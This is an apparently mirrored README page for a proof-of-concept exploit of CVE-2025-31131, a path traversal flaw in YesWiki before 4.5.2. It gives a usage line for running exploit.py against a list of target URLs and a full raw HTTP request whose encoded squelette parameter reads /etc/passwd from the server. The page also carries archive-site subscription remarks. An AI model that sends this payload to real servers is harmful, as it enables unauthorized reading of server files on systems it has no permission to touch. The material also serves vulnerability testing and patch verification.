Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-31131 PoC — Path Traversal allowing arbitrary read of files in Yeswiki

Source
Associated Vulnerability
Title:Path Traversal allowing arbitrary read of files in Yeswiki (CVE-2025-31131)
Description:YesWiki is a wiki system written in PHP. The squelette parameter is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server. This vulnerability is fixed in 4.5.2.
Description
YesWiki is a wiki system written in PHP. The squelette parameter is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server.
Readme


---

# CVE-2025-31131 - YesWiki < 4.5.2 Path Traversal Exploit

This is an unauthenticated path traversal exploit targeting YesWiki versions prior to 4.5.2. The vulnerability exists in the `squelette` parameter, which allows reading arbitrary files from the server.

## Vulnerability Details

- CVE-ID: CVE-2025-31131
- Affected Software: YesWiki < 4.5.2
- Type: Path Traversal
- Severity: High (CVSS: 8.6)
- Reference: https://github.com/advisories/GHSA-w34w-fvp3-68xm

## Usage

`python3 exploit.py -l urls.txt`
![image](https://github.com/user-attachments/assets/1aa33b6c-585c-4244-b2c5-635bffc3af0f)

Here is a second method to exploit manually using Burp:

```
GET /?UrkCEO/edit&theme=margot&squelette=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&style=margot.css HTTP/1.1
Host: target.com
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
```
![image](https://github.com/user-attachments/assets/bcdd29b6-94ac-4578-8763-ba304df0da61)

**Disclaimer**: This is strictly for educational purposes only.

---
File Snapshot

[4.0K] /data/pocs/47fdf39106714191d874af3b3913dcdee6119ed6 ├── [3.9K] exploit.py └── [1.5K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →